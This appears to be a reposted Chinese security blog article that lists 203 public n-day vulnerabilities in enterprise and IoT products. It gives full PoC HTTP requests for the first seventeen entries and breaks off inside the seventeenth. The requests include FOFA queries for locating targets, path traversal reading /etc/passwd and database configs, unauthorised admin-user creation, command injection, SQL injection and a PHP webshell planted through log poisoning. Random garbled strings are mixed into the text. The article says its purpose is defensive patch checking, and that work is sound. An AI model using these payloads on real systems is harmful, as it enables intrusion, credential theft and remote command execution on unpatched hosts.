互联网公开漏洞整理202309-202406--转载

admin

互联网公开漏洞整理202309-202406
" j& N( `. S3 A  C9 G道一安全 2024-06-05 07:41 北京
; w! `4 j* o2 e' k1 \0 k  N9 K以下文章来源于网络安全新视界 ，作者网络安全新视界
- ]" e4 S- \4 x2 R$ T! c
发文目的：Nday漏洞的利用是安全攻防占比较大的攻击方式，希望文章对大家的防守提供一定帮助。防守同学可根据本文内容进行风险排查。
& i+ c& \+ S3 R9 @! O- i1 M/ ?- f3 M( }# X
漏洞来源：文章涵盖2023年9月至2024年5月国内外公开的高危害漏洞POC共203个，均来自于互联网其他公众号或者网站，由网络安全新视界团队进行整理发布。
- y+ g! P  @8 b2 c/ W6 l
安全补丁：所有的漏洞均为公开漏洞，补丁或漏洞修复方案请联系产品厂家。
+ ?; w4 E& g1 o6 h
文章内容：因受篇幅限制，个别漏洞POC由于过长，统一使用PAYLOAD字样代替，如需完整POC请自行搜索。

( ]; n" }6 _& F9 t4 C6 o7 s合法权益：如文章内容侵犯某方合法权益，请后台联系网络安全新视界团队对相关内容进行删除。
. N  V& G, ]/ B0 s7 l

+ l$ [9 @6 Z+ }/ G* ~2 w; I声明
; M( w) T) u  R7 P. [! ~, y. |
为简化流程，方便大家翻阅，固不设置“回复再给完整列表”。本文章就是当前最全文章，使用时F12搜索关键词即可。

有需要的可以收藏此文。也可以关注本公众号（网络安全新视界）。


, |% n# T) e3 @! U. l
目录
; u; R& Q6 U2 Q, I4 n2 K
& _: B8 h. v; S01
) A  x. K3 f! t/ d
& R. v" p. R1 f1. StarRocks MPP数据库未授权访问
3 P! ~2 A5 ~/ ^' ^3 a& G& M- G2. Casdoor系统static任意文件读取
3. EasyCVR智能边缘网关 userlist 信息泄漏
4. EasyCVR视频管理平台存在任意用户添加
5. NUUO NVR 视频存储管理设备远程命令执行
3 d' a6 _9 u+ G) t" C9 }4 i% W1 ~6. 深信服 NGAF 任意文件读取
7. 鸿运主动安全监控云平台任意文件下载
8. 斐讯 Phicomm 路由器RCE
0 T0 C; [1 D, u$ y  X+ {4 Z& `# t9 X9. 稻壳CMS keyword 未授权SQL注入
6 R- q4 x! I" w9 v5 ?2 _- }0 j2 i: r10. 蓝凌EIS智慧协同平台api.aspx任意文件上传
11. 蓝凌EIS智慧协同平台 doc_fileedit_word.aspx SQL注入
3 V% P: n% P, P, H: l12. Jorani < 1.0.2 远程命令执行
6 U, P3 Y  v  t# ], j, ]+ C4 c* m13. 红帆iOffice ioFileDown任意文件读取
14. 华夏ERP（jshERP）敏感信息泄露
  Z; g9 a! v4 W( _15. 华夏ERP getAllList信息泄露
- S& [# N0 y' s' g4 s. i0 N6 w2 D& z16. 红帆HFOffice医微云SQL注入
17. 大华 DSS itcBulletin SQL 注入
3 v1 x% M8 t$ D: O18. 大华 DSS 数字监控系统 user_edit.action 信息泄露
19. 大华 DSS 数字监控系统 attachment_clearTempFile.action SQL注入
0 C9 d9 H  S6 Z0 u7 `/ g20. 大华ICC智能物联综合管理平台任意文件读取
+ J- T- \  o6 w/ Z+ d! N/ D. m21. 大华ICC智能物联综合管理平台random远程代码执行
22. 大华ICC智能物联综合管理平台 log4j远程代码执行
23. 大华ICC智能物联综合管理平台 fastjson远程代码执行
4 N( M( P+ I6 a4 p$ X" k0 g3 i24. 用友NC 6.5 accept.jsp任意文件上传
25. 用友NC registerServlet JNDI 远程代码执行
7 J/ e& P4 W! {26. 用友NC linkVoucher SQL注入
27. 用友 NC showcontent SQL注入
28. 用友NC grouptemplet 任意文件上传
29. 用友NC down/bill SQL注入
# T) p$ w! g/ {; ^5 s6 R0 Q+ l30. 用友NC importPml SQL注入
31. 用友NC runStateServlet SQL注入
32. 用友NC complainbilldetail SQL注入
33. 用友NC downTax/download SQL注入
! ?: w! h; n2 ?! v3 r3 f. Z/ b4 D- f34. 用友NC warningDetailInfo接口SQL注入
' @& B4 @- ]  Q35. 用友NC-Cloud importhttpscer任意文件上传
, I6 f* g- j/ E, ~8 l/ t. [( U36. 用友NC-Cloud soapFormat XXE
+ k0 ~. W) ?+ Q9 u5 M37. 用友NC-Cloud IUpdateService XXE
38. 用友U8 Cloud smartweb2.RPC.d XXE
* S, K# s. r8 u# S6 k( J; z39. 用友U8 Cloud RegisterServlet SQL注入
40. 用友U8-Cloud XChangeServlet XXE
/ N$ R- s! T- a, z5 j1 v' X( o41. 用友U8 Cloud MeasureQueryByToolAction SQL注入
- f0 v4 T  ?  X, e, O4 ~42. 用友GRP-U8 SmartUpload01 文件上传
43. 用友GRP-U8 userInfoWeb SQL注入致RCE
44. 用友GRP-U8 bx_dj_check.jsp SQL注入
45. 用友GRP-U8 ufgovbank XXE
46. 用友GRP-U8 sqcxIndex.jsp SQL注入
+ L& \7 C) s# K: k! L* l47. 用友GRP A++Cloud 政府财务云 任意文件读取
48. 用友U8 CRM swfupload 任意文件上传
49. 用友U8 CRM系统uploadfile.php接口任意文件上传
50. QDocs Smart School 6.4.1 filterRecords SQL注入
51. 云时空社会化商业 ERP 系统 validateLoginName SQL 注入
52. 泛微E-Office json_common.php sql注入
53. 迪普 DPTech VPN Service 任意文件上传
2 K! q& m/ L' e  A; P54. 畅捷通T+ getstorewarehousebystore 远程代码执行
9 ]2 h" _# R% h0 C( u6 Z55. 畅捷通T+ getdecallusers信息泄露
7 R/ H7 M7 J4 v+ n56. 畅捷通T+ RRATableController,Ufida.T.DI.UIP.ashx 反序列化RCE
57. 畅捷通T+ keyEdit.aspx SQL注入
: A" G8 V3 z! S' L58. 畅捷通T+ KeyInfoList.aspx sql注入
, d8 g7 l6 C/ ~6 y7 s59. XETUX 软件 dynamiccontent.properties.xhtml 远程代码执行
60. 百卓Smart管理平台 importexport.php SQL注入
61. 浙大恩特客户资源管理系统 fileupload 任意文件上传
62. IP-guard WebServer 远程命令执行
$ S# @4 U+ J8 o. Z5 S+ L2 u+ d7 e0 t63. IP-guard WebServer任意文件读取
64. 捷诚管理信息系统CWSFinanceCommon SQL注入
( i' `/ O0 U( H& a, m: ]65. 优卡特脸爱云一脸通智慧管理平台1.0.55.0.0.1权限绕过
0 Y/ E) F# Z$ @) N66. 万户ezOFFICE协同管理平台SendFileCheckTemplateEdit-SQL注入
67. 万户ezOFFICE wpsservlet任意文件上传
6 }7 @+ ]8 }' x( v2 ?$ p9 `68. 万户ezOFFICE wf_printnum.jsp SQL注入
69. 万户 ezOFFICE contract_gd.jsp SQL注入
70. 万户ezEIP success 命令执行
71. 邦永PM2项目管理系统 Global_UserLogin.aspx SQL注入
72. 致远OA getAjaxDataServlet XXE
73. GeoServer wms远程代码执行
74. 致远M3-server 6_1sp1 反序列化RCE
75. Telesquare TLR-2005Ksh 路由器 admin.cgi RCE
% T4 C1 b9 |& @0 x3 g* A: Q1 E76. 新开普掌上校园服务管理平台service.action远程命令执行
0 p- Q) M. j/ ^# ]8 h" g) d77. F22服装管理软件系统UploadHandler.ashx任意文件上传
78. pkpmbs 建设工程质量监督系统 FileUpload.ashx 文件上传
79. BYTEVALUE 百为流控路由器远程命令执行
* F$ F5 L$ C' ~  W  Y80. 速达天耀软件DesignReportSave.jsp接口存在任意文件上传
8 ~) R6 j; u" T  W81. 宇视科技视频监控宇视(Uniview)main-cgi密码泄露
82. 思福迪LOGBASE运维安全管理系统 test_qrcode_b 远程命令执行
83. JeecgBoot testConnection 远程命令执行
84. Jeecg-Boot JimuReport queryFieldBySql 模板注入
( z% a* ^/ K: D! j) j4 U85. SysAid On-premise< 23.3.36远程代码执行
86. 日本tosei自助洗衣机RCE
87. 安恒明御安全网关aaa_local_web_preview文件上传
' V; m' K1 @' F' b! d88. 安恒明御安全网关 aaa_portal_auth_config_reset 远程命令执行
5 u' {" X, o) Z8 a% g! C89. 致远互联FE协作办公平台editflow_manager存在sql注入
) b$ d+ K; x* r* d( W% n5 @. N  L( U$ h90. 海康威视IP网络对讲广播系统3.0.3_20201113_RELEASE远程命令执行
# B0 f  u. A; L( V# B91. 海康威视综合安防管理平台orgManage/v1/orgs/download任意文件读取
92. 海康威视运行管理中心session命令执行
93. 奇安信网神SecGate3600防火墙app_av_import_save任意文件上传
94. 奇安信网神SecGate3600防火墙obj_area_import_save任意文件上传
95. Apache-OFBiz < 18.12.10 xmlrpc远程代码执行
96. Apache OFBiz  18.12.11 groovy 远程代码执行
# S6 f. U0 X1 g7 b3 w; c97. OneBlog v2.2.2 博客Shiro反序列化远程命令执行
. F6 l# y+ r/ {( m; t# O" V! Q98. SpiderFlow爬虫平台远程命令执行
8 E0 w) m) w$ e: n' Q3 ^99. Ncast盈可视高清智能录播系统busiFacade RCE
100. Likeshop 2.5.7.20210311 File.php userFormImage 文件上传
, \/ c9 J5 e# t! p5 A9 `101. ivanti policy secure-22.6命令注入
6 n. v7 {! M$ h: w2 E102. Ivanti Pulse Connect Secure VPN SSRF致远程代码执行
103. Ivanti Pulse Connect Secure VPN XXE
104. Totolink T8 设置 cstecgi.cgi getSysStatusCfg 信息泄露
105. SpringBlade v3.2.0 export-user SQL 注入
, w. O( s+ Z" G106. SpringBlade dict-biz/list SQL 注入
107. SpringBlade tenant/list SQL 注入
  i& G7 d0 _& @3 g, `3 X2 |+ n108. D-Tale 3.9.0 SSRF
1 |: V* t4 \3 D109. Jenkins CLI 任意文件读取
$ S. x# p" g1 y: U# V6 L( t& j5 K110. Goanywhere MFT 未授权创建管理员
111. WordPress Plugin HTML5 Video Player SQL注入
112. WordPress Plugin NotificationX SQL 注入
' T! t4 r0 ^' `113. WordPress Automatic 插件任意文件下载和SSRF
114. WordPress MasterStudy LMS插件 SQL注入
115. WordPress Bricks Builder <= 1.9.6 RCE
116. wordpress js-support-ticket文件上传
- T. o2 K1 W! e% q: t117. WordPress LayerSlider插件SQL注入
# r" N. c- U, a118. 北京百绰智能S210管理平台uploadfile.php任意文件上传
119. 北京百绰智能S20后台sysmanageajax.php sql注入
! M( s0 f! S  N& j" [4 K9 H120. 北京百绰智能S40管理平台导入web.php任意文件上传
8 P/ a9 D* W: V6 t121. 北京百绰智能S42管理平台userattestation.php任意文件上传
! D' \4 {8 M; w: ^3 E122. 北京百绰智能s200管理平台/importexport.php sql注入
123. Atlassian Confluence 模板注入代码执行
8 ?$ w' ]* R  D  h; e  _# \124. 湖南建研工程质量检测系统任意文件上传
' R9 q6 x7 v6 W# h& d  C125. ConnectWise ScreenConnect身份验证绕过
% J6 d7 D  ^) @; d/ L% V0 T0 h126. Aiohttp 路径遍历
, T3 K$ u  \" t( H127. 广联达Linkworks DataExchange.ashx XXE
( X0 _1 r" U& B) d2 h128. Adobe ColdFusion 反序列化
129. Adobe ColdFusion 任意文件读取
130. Laykefu客服系统任意文件上传
131. Mini-Tmall <=20231017 SQL注入
, Z% A" A+ N- |( t! b132. JetBrains TeamCity 2023.11.3 及以下版本存在身份验证绕过
133. H5 云商城 file.php 文件上传
134. 网康NS-ASG应用安全网关index.php sql注入
135. 网康NS-ASG应用安全网关list_ipAddressPolicy.php sql注入
136. NextChat cors SSRF
137. 福建科立迅通信指挥调度平台down_file.php sql注入
8 [9 o0 B5 |0 @2 h: L: J0 S: i138. 福建科立讯通信指挥调度平台pwd_update.php sql注入
139. 福建科立讯通信指挥调度平台editemedia.php sql注入
140. 福建科立讯通信指挥调度平台get_extension_yl.php sql注入
141. 建科立讯通信指挥调度管理平台 ajax_users.php SQL注入
142. CMSV6车辆监控平台系统中存在弱密码
- }- A2 F' H* H& i& v8 @5 p; ?- }1 n143. Netis WF2780 v2.1.40144 远程命令执行
; p, W; _% K) l- K7 Y144. D-Link nas_sharing.cgi 命令注入
1 t5 a3 |8 `$ B! W6 `145. Palo Alto Networks PAN-OS GlobalProtect 命令注入
146. MajorDoMo thumb.php 未授权远程代码执行
147. RaidenMAILD邮件服务器v.4.9.4-路径遍历
148. CrushFTP 认证绕过模板注入
149. AJ-Report开源数据大屏存在远程命令执行
7 N* l/ r* f  C8 i/ y2 l' A150. AJ-Report 1.4.0 认证绕过与远程代码执行
151. AJ-Report 1.4.1 pageList sql注入
152. Progress Kemp LoadMaster 远程命令执行
153. gradio任意文件读取
) a( J# _' L3 O: q8 I" B# t  S/ w154. 天维尔消防救援作战调度平台 SQL注入
; i; i* r1 ]+ \" u( I155. 六零导航页 file.php 任意文件上传
156. TBK DVR-4104/DVR-4216 操作系统命令注入
0 h  J7 n2 U7 s157. 美特CRM upload.jsp 任意文件上传
158. Mura-CMS-processAsyncObject存在SQL注入
159. 英飞达医学影像存档与通信系统 WebJobUpload 任意文件上传
160. Sonatype Nexus Repository 3目录遍历与文件读取
161. 科拓全智能停车收费系统 Webservice.asmx 任意文件上传
162. 和丰多媒体信息发布系统 QH.aspx 任意文件上传
163. 号卡极团分销管理系统 ue_serve.php 任意文件上传
164. 慧校园(安校易)管理系统 FileUpProductupdate.aspx 任意文件上传
165. OrangeHRM 3.3.3 SQL 注入
8 [0 w6 ?& @2 k$ N5 O166. 中成科信票务管理平台SeatMapHandler SQL注入
% \0 u3 U- l8 r6 k4 Y167. 精益价值管理系统 DownLoad.aspx任意文件读取
168. 宏景EHR OutputCode 任意文件读取
169. 宏景EHR downlawbase SQL注入
170. 宏景EHR DisplayExcelCustomReport 任意文件读取
5 G4 u" L, u' I# l171. 通天星CMSV6车载定位监控平台 SQL注入
172. DT-高清车牌识别摄像机任意文件读取
2 [1 A8 w7 b' E  y5 E173. Check Point 安全网关任意文件读取
6 F; J* e% c: v0 ?174. 金和OA C6 FileDownLoad.aspx 任意文件读取
; c/ [# t& \$ h2 Y175. 金和OA C6 IncentivePlanFulfill.aspx SQL注入
176. 电信网关配置管理系统 rewrite.php 文件上传
177. H3C路由器敏感信息泄露
178. H3C校园网自助服务系统-flexfileupload-任意文件上传
/ o: m5 o, J* ]. a179. 建文工程管理系统存在任意文件读取
: R8 `% \/ [/ z. X180. 帮管客 CRM jiliyu SQL注入
0 P+ E3 W3 A( s. ]& {181. 润申科技企业标准化管理系统 UpdataLogHandler.ashx SQL注入
7 f# K) Y* M- ~9 r8 H7 b182. 润申科技企业标准化管理系统AddNewsHandler.ashx 任意用户创建
5 Y' X! y+ `% M5 C* x183. 广州图创图书馆集群管理系统 updOpuserPw SQL注入
4 t! A! O  I+ @5 z/ B$ r- `# j3 e184. 迅饶科技 X2Modbus 网关 AddUser 任意用户添加
185. 瑞友天翼应用虚拟化系统SQL注入
0 W# l( i5 t" }* }- S186. F-logic DataCube3 SQL注入
7 e( ~0 G' S0 D' Z0 r& C187. Mura CMS processAsyncObject SQL注入
188. 叁体-佳会视频会议 attachment 任意文件读取
189. 蓝网科技临床浏览系统 deleteStudy SQL注入
190. 短视频矩阵营销系统 poihuoqu 任意文件读取
" R- {  D7 P* t: U191. 亿赛通电子文档安全管理系统 NavigationAjax SQL注入
192. 富通天下外贸ERP UploadEmailAttr 任意文件上传
193. 山石网科云鉴安全管理系统 setsystemtimeaction 命令执行
- Q( n4 o; [7 J1 L194. 飞企互联-FE企业运营管理平台 uploadAttachmentServlet 任意文件上传
, y+ h6 h/ u6 n195. 飞鱼星上网行为管理系统 send_order.cgi命令执行
196. 河南省风速科技统一认证平台密码重置
197. 浙大恩特客户资源管理系统-Quotegask_editAction存在SQL注入
6 e3 F/ q  x! E198.  阿里云盘 WebDAV 命令注入
) H6 f% f7 p' ?/ o4 Z199. cockpit系统assetsmanager_upload接口 文件上传
: d2 @$ T) W2 q- f200. SeaCMS海洋影视管理系统dmku SQL注入
' _$ ?3 Z) r/ d* e, I. d! C201. 方正全媒体新闻采编系统 binary SQL注入
9 m! W+ V# j$ e202. 微擎系统 AccountEdit任意文件上传
203. 红海云EHR PtFjk 文件上传
/ {5 h/ E9 a  b/ [2 l& S+ P
POC列表

7 q# V% x) t& x02
: U) |7 E9 ?$ Y0 q5 C
) `) W/ \! Z9 @6 G% M1. StarRocks MPP数据库未授权访问
FOFA ：title="StarRocks"
9 `- ?8 L8 Y7 v' ~) L, n. x; gGET /mem_tracker HTTP/1.1
Host: URL

- \% v/ ~; K: k# P$ |" I8 r2 E
6 `8 z  Z! Y" S0 G. f! n2. Casdoor系统static任意文件读取
FOFA ：title="Casdoor"
GET /static/../../../../../../../../../../../etc/passwd HTTP/1.1
Host: xx.xx.xx.xx:9999
2 x' |+ `+ U% @/ J- Y1 c4 fUser-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2227.0 Safari/537.36
. g" ~$ g9 t# I" B5 ~4 _! P) n3 jConnection: close
Accept: */*
Accept-Language: en
Accept-Encoding: gzip
6 f8 ]3 b7 ]7 I' a5 k9 ?$ w

3. EasyCVR智能边缘网关 userlist 信息泄漏
, }4 l! Y8 Z6 Q$ nFOFA ：title="EasyCVR"
GET /api/v1/userlist?pageindex=0&pagesize=10 HTTP/1.1
Host: xx.xx.xx.xx


( }2 j( R% z" u- P/ ~4. EasyCVR视频管理平台存在任意用户添加
FOFA ：title="EasyCVR"

, [! p- i* t- b% F7 |3 E1 L4 Upassword更改为自己的密码md5
POST /api/v1/adduser HTTP/1.1
Host: your-ip
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
  Y$ y+ K! n# q
name=admin888&username=admin888&password=0e7517141fb53f21ee439b355b5a1d0a&roleid=1


9 V" N4 B) c. V5 A  h  f* v5. NUUO NVR 视频存储管理设备远程命令执行
FOFA：title="Network Video Recorder Login"
GET /__debugging_center_utils___.php?log=;whoami HTTP/1.1
: q' p+ n* ^, O# HHost: xx.xx.xx.xx


' c, s7 A' H/ e% V6. 深信服 NGAF 任意文件读取
' D7 f( w  [; H) U4 LFOFA：title="SANGFOR | NGAF"
GET /svpn_html/loadfile.php?file=/etc/./passwd HTTP/1.1
9 l- p2 ?, g0 z' `! U: hHost:

$ ^  V: M( p& E
- O2 m+ t! `* |, V# A5 N% Q8 R7. 鸿运主动安全监控云平台任意文件下载
  l* c# S0 P$ J* _FOFA：body="./open/webApi.html"
GET /808gps/MobileAction_downLoad.action?path=/WEB-INF/classes/config/jdbc.properties HTTP/1.1
4 p& h/ }  n, f! X7 dHost:


8. 斐讯 Phicomm 路由器RCE
* r7 e+ S/ g' w( F$ mFOFA：icon_hash="-1344736688"
2 F' [4 w1 w1 t8 B8 P, _8 ^默认账号admin登录后台后，执行操作
* }, C) {  W) K! uPOST /cgi-bin/luci/;stok=bcd6ccd2fa5d212ce6431ca22f10b96d/admin/wifireboot HTTP/1.1
Host: x.x.x.x
6 f- L3 _( V: o' n2 n" dCookie: sysauth=第一步登录获取的cookie
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryxbgjoytz
User-Agent: Mozilla/5.0 (Windows NT 6.3; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/37.0.2049.0 Safari/537.36

------WebKitFormBoundaryxbgjoytz
Content-Disposition: form-data; name="wifiRebootEnablestatus"
4 G# A- d% f0 Y' Q. I* T5 S
%s
------WebKitFormBoundaryxbgjoytz
6 P7 v* T! _- M# i5 J6 FContent-Disposition: form-data; name="wifiRebootrange"

& k0 G1 `" \! t% ^' o9 K7 E8 _12:00; id;
/ J# y/ J" W: A6 @. k- g6 R------WebKitFormBoundaryxbgjoytz
Content-Disposition: form-data; name="wifiRebootendrange"
& i1 I" W: X4 u" X  \" {) U
9 M2 a; i0 x6 G%s:
------WebKitFormBoundaryxbgjoytz
Content-Disposition: form-data; name="cururl2"

" c$ ^2 m  h- ^! ?$ }5 a
. o/ ~9 h8 U' @2 o) ]1 Z4 C! [------WebKitFormBoundaryxbgjoytz--
7 v; X- Z. P, i6 ^4 \5 v8 C4 F' D
/ N! k# W2 \) a
9. 稻壳CMS keyword 未授权SQL注入
FOFA：app="Doccms"
; d& i6 T9 W1 F' C% ^GET /search/index.php?keyword=1%25%32%37%25%32%30%25%36%31%25%36%65%25%36%34%25%32%30%25%32%38%25%36%35%25%37%38%25%37%34%25%37%32%25%36%31%25%36%33%25%37%34%25%37%36%25%36%31%25%36%63%25%37%35%25%36%35%25%32%38%25%33%31%25%32%63%25%36%33%25%36%66%25%36%65%25%36%33%25%36%31%25%37%34%25%32%38%25%33%30%25%37%38%25%33%37%25%36%35%25%32%63%25%32%38%25%37%33%25%36%35%25%36%63%25%36%35%25%36%33%25%37%34%25%32%30%25%37%35%25%37%33%25%36%35%25%37%32%25%32%38%25%32%39%25%32%39%25%32%63%25%33%30%25%37%38%25%33%37%25%36%35%25%32%39%25%32%39%25%32%39%25%32%33 HTTP/1.1
4 ]. c! \+ z9 X% [- gHost: x.x.x.x
; G8 O4 K. z" D( n7 P- Y. P
/ O- J9 D! S6 [' p& ?
payload为下列语句的二次Url编码

- I' J) i1 P) T! _. f% J& d' and (extractvalue(1,concat(0x7e,(select user()),0x7e)))#
3 T7 k/ B. ?" V) M. }. v& d
9 p& {6 p6 D+ g# I2 ]& ^10. 蓝凌EIS智慧协同平台api.aspx任意文件上传
% P1 d; l5 L3 Q5 F* L( NFOFA：icon_hash="953405444"
7 r, Q# }# [) ^' w
文件上传后响应中包含上传文件的路径
POST /eis/service/api.aspx?action=saveImg HTTP/1.1
Host: x.x.x.x:xx
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/100.0.4896.127 Safari/537.36
9 N7 [! f4 b5 W1 F/ o  CContent-Length: 197
  c* a2 X% u8 H0 _8 O5 dAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
. {' \. N; o0 p: FAccept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close
( k) n7 r2 G* [3 }9 g8 W/ F! T0 iContent-Type: multipart/form-data; boundary=----WebKitFormBoundaryxdgaqmqu

------WebKitFormBoundaryxdgaqmqu
Content-Disposition: form-data; name="file"filename="icfitnya.txt"
0 i7 j" I+ `( C9 MContent-Type: text/html
/ a% N5 k8 S2 K! @7 n0 T
# c" b0 L: s9 _% Pjmnqjfdsupxgfidopeixbgsxbf
------WebKitFormBoundaryxdgaqmqu--

0 b3 @/ l' v/ _
8 q1 }( I' |  y, G11. 蓝凌EIS智慧协同平台 doc_fileedit_word.aspx SQL注入
" X7 q" M" L) s/ d+ oFOFA：icon_hash="953405444" || app="Landray-EIS智慧协同平台"
GET /dossier/doc_fileedit_word.aspx?recordid=1'%20and%201=@@version--+&edittype=1,1 HTTP/1.1
Host: 127.0.0.1
3 T* K$ d; m6 F! N( u- xPragma: no-cache
Cache-Control: no-cache
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36
5 j  S: T  q3 E; j' \5 TAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8
Connection: close

% Q* |9 n3 A- m$ ~/ R4 N' S" i
12. Jorani < 1.0.2 远程命令执行
FOFA：title="Jorani"
第一步先拿到cookie
7 B' P3 P7 |& wGET /session/login HTTP/1.1
9 I, {3 c& [* KHost: 192.168.190.30
User-Agent: Mozilla/5.0 (Windows NT 5.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/35.0.2309.372 Safari/537.36
6 ~. h! u9 Y+ Q7 qConnection: close
. j% m, j. Q# mAccept-Encoding: gzip
2 W$ w8 z3 w8 H2 q3 J; n+ N: v. R% Q

2 X9 v0 `( r% m3 |3 V6 j+ C响应中csrf_cookie_jorani用于后续请求
HTTP/1.1 200 OK
Connection: close
Cache-Control: no-store, no-cache, must-revalidate
" j* i3 ^. A& s- S8 I8 }* iContent-Type: text/html; charset=UTF-8
: }% t  n, X) X( rDate: Tue, 24 Oct 2023 09:34:28 GMT
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Last-Modified: Tue, 24 Oct 2023 09:34:28 GMT
' d+ y& R, d8 L0 a0 aPragma: no-cache
Server: Apache/2.4.54 (Debian)
Set-Cookie: csrf_cookie_jorani=6ca560f2b0baf3cda87c818a4a15dc77; expires=Tue, 24-Oct-2023 11:34:28 GMT; Max-Age=7200; path=/
Set-Cookie: jorani_session=bqk0ttr6q2mg3tae6rd75ei02umkq99r; expires=Tue, 24-Oct-2023 11:34:28 GMT; Max-Age=7200; path=/; HttpOnly
5 s3 x0 w/ @4 G) G  a  ~, UVary: Accept-Encoding


! Q: V: o9 j& P2 z6 r  D! r" m% OPOST请求，执行函数并进行base64编码
POST /session/login HTTP/1.1
4 s3 ?* \3 {* L( I! `  B+ XHost: 192.168.190.30
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_8_3) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/54.0.2866.71 Safari/537.36
Connection: close
Content-Length: 252
9 T6 E" v% `! k: QContent-Type: application/x-www-form-urlencoded
/ ^$ t5 Z; n+ R& P* ~8 d9 E% O9 u: PCookie: csrf_cookie_jorani=6ca560f2b0baf3cda87c818a4a15dc77; jorani_session=bqk0ttr6q2mg3tae6rd75ei02umkq99r
Accept-Encoding: gzip
/ e. n6 J1 y. H# k
9 r* z, ?% D0 }- ucsrf_test_jorani=6ca560f2b0baf3cda87c818a4a15dc77&last_page=session%2Flogin&language=..%2F..%2Fapplication%2Flogs&login=<?php if(isset($_SERVER['HTTP_K1SYJPMHLU4Z'])){system(base64_decode($_SERVER['HTTP_K1SYJPMHLU4Z']));} ?>&CipheredValue=DummyPasswor


& A9 a2 p* z, a! c. m
: \  b& w" t! _) b向靶场发送如下请求，执行id命令，请求头中的ZWNobyAtLS0tLS0tLS07aWQgMj4mMTtlY2hvIC0tLS0tLS0tLTs=是命令base64编码后的字符串
2 [* j- ~1 ~$ [- e4 m+ @  p* wGET /pages/view/log-2023-10-24 HTTP/1.1
Host: 192.168.190.30
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/89.0.4389.114 Safari/537.36
Connection: close
Cookie: csrf_cookie_jorani=6ca560f2b0baf3cda87c818a4a15dc77; jorani_session=bqk0ttr6q2mg3tae6rd75ei02umkq99r
K1SYJPMHLU4Z: ZWNobyAtLS0tLS0tLS07aWQgMj4mMTtlY2hvIC0tLS0tLS0tLTs=
X-REQUESTED-WITH: XMLHttpRequest
Accept-Encoding: gzip
3 D% A# \$ C4 L( ~$ B) v

5 ^" w$ \# G8 m4 s, h6 ]( _% ^6 n13. 红帆iOffice ioFileDown任意文件读取
, G9 r! n  W: e* m- tFOFA：app="红帆-ioffice"
GET /ioffice/prg/interface/ioFileDown.aspx?sFilePath=c:/windows/win.ini HTTP/1.1
Host: x.x.x.x
1 o. K" R  k" k+ B1 n0 }% XUser-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/36.0.1985.67 Safari/537.36
' N+ {7 g9 W- ?! s! fConnection: close
6 \; E) F6 u- Z- [( m+ U6 _Accept: */*
Accept-Encoding: gzip
) n$ d1 G/ `2 `
5 ]4 ]; f3 c/ Z0 k0 I$ [: q
, ^. F1 `4 r6 L7 A- u  B1 a! V14. 华夏ERP（jshERP）敏感信息泄露
( y4 x& H6 W; t" bFOFA：body="jshERP-boot"
1 ^) @# o# [4 }% p泄露内容包括用户名密码
GET /jshERP-boot/user/getAllList;.ico HTTP/1.1
  ^3 d; W3 G: i4 Y9 }: QHost: x.x.x.x
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_9_3) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/35.0.1916.47 Safari/537.36
Connection: close
& f' v7 q# k( tAccept: */*
) l. d2 e$ C! b( l6 @/ gAccept-Language: en
' X. Z  a4 ^5 j5 M, G9 _, C" ^Accept-Encoding: gzip
( d5 ]4 b7 ]3 F4 j
7 x6 L: ^! k" t, @
15. 华夏ERP getAllList信息泄露
) E2 ]' t' }4 l$ h# zCVE-2024-0490
FOFA：body="jshERP-boot"
泄露内容包括用户名密码
GET /jshERP-boot/user/a.ico/../getAllList HTTP/1.1
( I) L  q; X7 {Host: 192.168.40.130:100
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_9_3) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/35.0.1916.47 Safari/537.36
Connection: close
2 W6 c; N7 z$ Y# VAccept: application/signed-exchange;v=b3;q=0.7,*/*;q=0.8
( v- f; ~1 e- W5 EAccept-Language: en
sec-ch-ua-platform: Windows
Accept-Encoding: gzip


16.  红帆HFOffice医微云SQL注入
FOFA：title="HFOffice"
. ^8 C. j% m. {& e6 W" R4 h. l+ Ypoc中调用函数计算1234的md5值
GET /api/switch-value/list?sorts=%5B%7B%22Field%22:%221-CONVERT(VARCHAR(32),%20HASHBYTES(%27MD5%27,%20%271234%27),%202);%22%7D%5D&conditions=%5B%5D&_ZQA_ID=4dc296c6c69905a7 HTTP/1.1
# @. P/ U* u, y! ]3 s! e( r7 nHost: x.x.x.x
8 [4 E- H1 |9 BUser-Agent: Mozilla/5.0 (Windows NT 5.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/34.0.1866.237 Safari/537.36
Connection: close
+ a; Q- w# L  q' G) BAccept: */*
Accept-Language: en
Accept-Encoding: gzip

8 j7 u, O9 C$ Q
6 g) m! K& O* L1 n+ M' K17. 大华 DSS itcBulletin SQL 注入
FOFA：app="dahua-DSS"
& _0 |& F2 C% [POST /portal/services/itcBulletin?wsdl HTTP/1.1
$ i/ e$ a5 b* DHost: x.x.x.x
